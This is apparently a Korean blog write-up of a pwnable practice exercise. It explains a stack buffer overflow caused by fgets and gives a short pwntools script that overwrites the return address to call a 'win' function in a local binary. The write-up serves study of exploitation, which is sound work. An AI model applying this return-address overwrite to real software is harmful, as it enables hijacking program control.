728x90

 

fgets함수에서 56바이트를 받는데 0x14 = 20이므로 초과한다. 

-0x14 ~ 0x04(ret) 거리 0x18

win 함수 주소 : 0x08048506

from pwn import *
r = process("./exercise2")
r.sendafter(":", "a"*0x18 + p32(0x08048506))
r.interactive()
728x90

'pwnable' 카테고리의 다른 글

보호기법  (0) 2020.11.15
5  (0) 2020.10.16
4  (0) 2020.10.16
3  (0) 2020.10.16
1  (0) 2020.10.16

+ Recent posts